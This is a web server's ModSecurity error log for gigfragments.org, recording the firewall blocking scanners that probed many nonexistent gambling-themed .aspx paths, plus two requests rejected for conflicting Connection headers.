[Tue Mar 31 06:23:39.323039 2026] [:error] [pid 11822:tid 11826] [client 217.182.194.26:34188] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "acr36yLLrL4a3YEM2I0MWgAAAYI"]
[Tue Mar 31 06:23:41.206739 2026] [:error] [pid 11822:tid 11830] [client 217.182.194.26:34196] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "acr37SLLrL4a3YEM2I0MYAAAAYY"]
[Tue Mar 31 06:23:43.171238 2026] [:error] [pid 18332:tid 18373] [client 217.182.194.26:33700] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "acr3774KXr1F9raS5GSm6AAAABg"]
[Tue Mar 31 06:23:45.233846 2026] [:error] [pid 18439:tid 18463] [client 217.182.194.26:33716] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "acr38S-R9nOaA8Xqs7jqzgAAAMw"]
[Tue Mar 31 06:23:47.135653 2026] [:error] [pid 1224:tid 1230] [client 217.182.194.26:33730] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "acr388XGPQPzIHnCuJhGNAAAAQQ"]
[Tue Mar 31 06:23:49.170813 2026] [:error] [pid 1224:tid 1246] [client 217.182.194.26:33732] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "acr39cXGPQPzIHnCuJhGOgAAARQ"]
[Tue Mar 31 06:23:50.971519 2026] [:error] [pid 11822:tid 11832] [client 217.182.194.26:33748] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "acr39iLLrL4a3YEM2I0MeAAAAYg"]
[Tue Mar 31 06:23:52.876294 2026] [:error] [pid 18439:tid 18472] [client 217.182.194.26:53488] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "acr3-C-R9nOaA8Xqs7jq5AAAANU"]
[Tue Mar 31 06:23:54.950325 2026] [:error] [pid 11869:tid 11885] [client 217.182.194.26:53496] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "acr3-hvAVplg9I6KoIInTwAAAc0"]
[Tue Mar 31 06:23:56.990952 2026] [:error] [pid 11869:tid 11884] [client 217.182.194.26:53512] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "acr3_BvAVplg9I6KoIInUQAAAcw"]
[Tue Mar 31 06:23:58.912093 2026] [:error] [pid 11907:tid 11925] [client 217.182.194.26:53514] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "acr3_scoKGLZkBF4Ym1ZpQAAAg8"]
[Tue Mar 31 06:24:00.797816 2026] [:error] [pid 18332:tid 18351] [client 217.182.194.26:53520] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "acr4AL4KXr1F9raS5GSm9wAAAAM"]
[Tue Mar 31 06:24:02.681295 2026] [:error] [pid 18439:tid 18457] [client 217.182.194.26:53536] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "acr4Ai-R9nOaA8Xqs7jrAQAAAMY"]
[Tue Mar 31 06:24:04.620927 2026] [:error] [pid 11822:tid 11829] [client 217.182.194.26:48466] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "acr4BCLLrL4a3YEM2I0MiAAAAYU"]
[Tue Mar 31 06:24:06.659602 2026] [:error] [pid 18334:tid 18425] [client 217.182.194.26:48478] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "acr4BnqQrXLbk1cg3mhbvwAAAJM"]
[Tue Mar 31 06:24:08.646480 2026] [:error] [pid 1224:tid 1227] [client 217.182.194.26:48484] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "acr4CMXGPQPzIHnCuJhGcQAAAQE"]
[Tue Mar 31 06:24:10.552571 2026] [:error] [pid 11907:tid 11921] [client 217.182.194.26:48488] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acr4CscoKGLZkBF4Ym1ZuAAAAgs"]
[Tue Mar 31 06:24:12.503173 2026] [:error] [pid 11822:tid 11842] [client 217.182.194.26:48492] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acr4DCLLrL4a3YEM2I0MjgAAAZI"]
[Tue Mar 31 06:24:14.410816 2026] [:error] [pid 11786:tid 11790] [client 217.182.194.26:55940] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "acr4Dk-ANHwuqDZumRDatgAAAUI"]
[Tue Mar 31 06:24:16.237362 2026] [:error] [pid 18333:tid 18394] [client 217.182.194.26:55950] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "acr4EESx2C5hLR0-8dIMRQAAAE8"]
[Tue Mar 31 06:24:18.067245 2026] [:error] [pid 18333:tid 18394] [client 217.182.194.26:55960] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "acr4EkSx2C5hLR0-8dIMVAAAAE8"]
[Tue Mar 31 06:24:19.845468 2026] [:error] [pid 18439:tid 18466] [client 217.182.194.26:55968] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "acr4Ey-R9nOaA8Xqs7jrRQAAAM8"]
[Tue Mar 31 06:24:21.817283 2026] [:error] [pid 11822:tid 11845] [client 217.182.194.26:55972] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "acr4FSLLrL4a3YEM2I0MlAAAAZU"]
[Tue Mar 31 06:24:23.691792 2026] [:error] [pid 11822:tid 11830] [client 217.182.194.26:53456] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "acr4FyLLrL4a3YEM2I0MlQAAAYY"]
[Tue Mar 31 06:24:25.708036 2026] [:error] [pid 18332:tid 18360] [client 217.182.194.26:53466] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "acr4Gb4KXr1F9raS5GSnFQAAAAw"]
[Tue Mar 31 06:24:27.675142 2026] [:error] [pid 18333:tid 18379] [client 217.182.194.26:53480] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "acr4G0Sx2C5hLR0-8dIMggAAAEA"]
[Tue Mar 31 06:24:29.568627 2026] [:error] [pid 18439:tid 18461] [client 217.182.194.26:53496] [client 217.182.194.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/metal%20slot.aspx"] [unique_id "acr4HS-R9nOaA8Xqs7jrfwAAAMo"]
[Tue Mar 31 06:35:48.985325 2026] [:error] [pid 18334:tid 18416] [client 120.71.59.24:48991] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "acr6xHqQrXLbk1cg3mhhfgAAAIo"]
[Tue Mar 31 12:46:49.736381 2026] [:error] [pid 6548:tid 6554] [client 49.233.45.47:42106] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "actRubgIz9HgMl9YwE4lBAAAAUQ"]
[Tue Mar 31 13:05:31.678432 2026] [:error] [pid 6548:tid 6555] [client 51.68.234.139:40968] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "actWG7gIz9HgMl9YwE4v3QAAAUU"]
[Tue Mar 31 13:05:33.707792 2026] [:error] [pid 36892:tid 36974] [client 51.68.234.139:45590] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "actWHUyj9S4G0ek3O4IYswAAAJc"]
[Tue Mar 31 13:05:36.014322 2026] [:error] [pid 36890:tid 36904] [client 51.68.234.139:43850] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "actWIJ8FASPd_uH8z7epxgAAAAk"]
[Tue Mar 31 13:05:38.116313 2026] [:error] [pid 36890:tid 36899] [client 51.68.234.139:43852] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "actWIp8FASPd_uH8z7epyAAAAAQ"]
[Tue Mar 31 13:05:40.272330 2026] [:error] [pid 6548:tid 6562] [client 51.68.234.139:43856] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "actWJLgIz9HgMl9YwE4v_gAAAUw"]
[Tue Mar 31 13:05:42.427611 2026] [:error] [pid 36982:tid 36996] [client 51.68.234.139:43872] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "actWJvlMmeoQKN0r_GNo8wAAAMs"]
[Tue Mar 31 13:05:44.450158 2026] [:error] [pid 36892:tid 36966] [client 51.68.234.139:45212] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "actWKEyj9S4G0ek3O4IYwwAAAI8"]
[Tue Mar 31 13:05:46.606475 2026] [:error] [pid 6548:tid 6574] [client 51.68.234.139:45226] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "actWKrgIz9HgMl9YwE4wDgAAAVg"]
[Tue Mar 31 13:05:48.642078 2026] [:error] [pid 6548:tid 6562] [client 51.68.234.139:45234] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "actWLLgIz9HgMl9YwE4wFAAAAUw"]
[Tue Mar 31 13:05:50.493024 2026] [:error] [pid 6548:tid 6569] [client 51.68.234.139:45244] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20world.aspx"] [unique_id "actWLrgIz9HgMl9YwE4wIQAAAVM"]
[Tue Mar 31 13:05:52.314936 2026] [:error] [pid 36892:tid 36971] [client 51.68.234.139:45246] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgslot%20login.aspx"] [unique_id "actWMEyj9S4G0ek3O4IYxgAAAJQ"]
[Tue Mar 31 13:05:54.348707 2026] [:error] [pid 36982:tid 36992] [client 51.68.234.139:49364] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pgzeed%20gold.aspx"] [unique_id "actWMvlMmeoQKN0r_GNpHwAAAMc"]
[Tue Mar 31 13:05:56.469897 2026] [:error] [pid 6548:tid 6560] [client 51.68.234.139:49376] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp%20slot.aspx"] [unique_id "actWNLgIz9HgMl9YwE4wSgAAAUo"]
[Tue Mar 31 13:05:58.584618 2026] [:error] [pid 36892:tid 36957] [client 51.68.234.139:49390] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches666%20pg.aspx"] [unique_id "actWNkyj9S4G0ek3O4IYyAAAAIY"]
[Tue Mar 31 13:06:00.681637 2026] [:error] [pid 6548:tid 6568] [client 51.68.234.139:49396] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches777%20pg.aspx"] [unique_id "actWOLgIz9HgMl9YwE4wVAAAAVI"]
[Tue Mar 31 13:06:02.677303 2026] [:error] [pid 36982:tid 37001] [client 51.68.234.139:49410] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/riches888%20pg.aspx"] [unique_id "actWOvlMmeoQKN0r_GNpVQAAANA"]
[Tue Mar 31 13:06:04.618769 2026] [:error] [pid 6548:tid 6566] [client 51.68.234.139:46340] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/royal%20slot.aspx"] [unique_id "actWPLgIz9HgMl9YwE4wYQAAAVA"]
[Tue Mar 31 13:06:06.522488 2026] [:error] [pid 36892:tid 36958] [client 51.68.234.139:46356] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sa%20casino.aspx"] [unique_id "actWPkyj9S4G0ek3O4IY2AAAAIc"]
[Tue Mar 31 13:06:08.620573 2026] [:error] [pid 36892:tid 36961] [client 51.68.234.139:46358] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20auto.aspx"] [unique_id "actWQEyj9S4G0ek3O4IY2gAAAIo"]
[Tue Mar 31 13:06:10.480638 2026] [:error] [pid 36890:tid 36895] [client 51.68.234.139:46362] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbobet%20ca.aspx"] [unique_id "actWQp8FASPd_uH8z7eqCAAAAAA"]
[Tue Mar 31 13:06:12.471136 2026] [:error] [pid 36890:tid 36906] [client 51.68.234.139:46366] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20777.aspx"] [unique_id "actWRJ8FASPd_uH8z7eqDQAAAAs"]
[Tue Mar 31 13:06:14.544210 2026] [:error] [pid 36982:tid 37001] [client 51.68.234.139:59342] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20888.aspx"] [unique_id "actWRvlMmeoQKN0r_GNpqQAAANA"]
[Tue Mar 31 13:06:16.636881 2026] [:error] [pid 6548:tid 6558] [client 51.68.234.139:59354] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%2099.aspx"] [unique_id "actWSLgIz9HgMl9YwE4w0gAAAUg"]
[Tue Mar 31 13:06:18.553645 2026] [:error] [pid 36890:tid 36900] [client 51.68.234.139:59368] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20auto.aspx"] [unique_id "actWSp8FASPd_uH8z7eqLgAAAAU"]
[Tue Mar 31 13:06:20.608701 2026] [:error] [pid 36982:tid 37006] [client 51.68.234.139:59376] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20demo.aspx"] [unique_id "actWTPlMmeoQKN0r_GNptwAAANU"]
[Tue Mar 31 13:06:22.697866 2026] [:error] [pid 36892:tid 36964] [client 51.68.234.139:59378] [client 51.68.234.139] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20free.aspx"] [unique_id "actWTkyj9S4G0ek3O4IY8QAAAI0"]
